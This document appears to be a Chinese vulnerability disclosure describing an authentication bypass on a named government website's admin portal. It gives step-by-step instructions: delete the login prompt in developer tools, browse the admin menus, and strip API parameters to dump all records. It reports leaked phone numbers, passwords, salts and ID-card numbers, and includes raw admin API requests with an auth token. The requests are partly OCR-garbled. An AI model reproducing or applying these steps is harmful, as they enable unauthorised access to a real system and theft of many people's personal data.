国家市场监督管理总局存在权限认证缺陷
地址: http://ltb.samr.gov.cn:81/#/

访问会提示未登录, 用开发者工具删除这个提示即可绕过
[image: ]

删除掉这个两个标签
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绕过后, 点击其他菜单/系统管理
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前台用户处, 看流量包, 发现泄露敏感信息
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泄露手机号和密码和盐, 这里删掉参数可以返回所有条 1145
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其他菜单的党费明细, 历史包中泄露敏感信息
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[bookmark: _GoBack]泄露老干部身份证号, 这里也删掉参数返回所有数据 482
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1 POST /api/admin/|gb/wages/queryPage HTTP/1.1

2 Host: Itb. samr. gov. cn:81

3 Content—Length: 0

4 Pragma: no-cache

5 Cache-Control: no-cache

6 Accept: application/json, text/plain, */*

7 ttsx_auth_token: e151fc3a-6db6f531-c85d-460e-963f-190654d3e28

8 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Gecko) Chrome/109.0.0.0 Safari/537.36

9 Content-Type: application/x—www—form-ur |encoded

10 Origin: http://Itb. samr. gov. cn:81

11 Referer: http://Itb. samr. gov. cn:81/
12 Accept-Encoding: gzip, deflate

13 Accept-Language: zh—CN, zh;q=0.9
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1 POST /api/admin/sys/sysUser/queryPage HTTP/1.1

2 Host: Itb. samr. gov. cn:81

3 Content-Length: 0

4 Pragma: no-cache

5 Cache-Control: no-cache

6 Accept: application/json, text/plain, */*

7 ttsx_auth_token: el151fc3a-6db6531-c85d-460e-963f—f190654d3e28

8 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Gecko) Chrome/109.0.0.0 Safari/537.36

9 Content-Type: application/x—www—form-ur |encoded

10 Origin: http://Itb. samr. gov. cn:81

11 Referer: http://Itb. samr. gov.cn:81/

12 Accept—Encoding: gzip, deflate

13 Accept-Language: zh—CN, zh;q=0. 9

14 Connection: close
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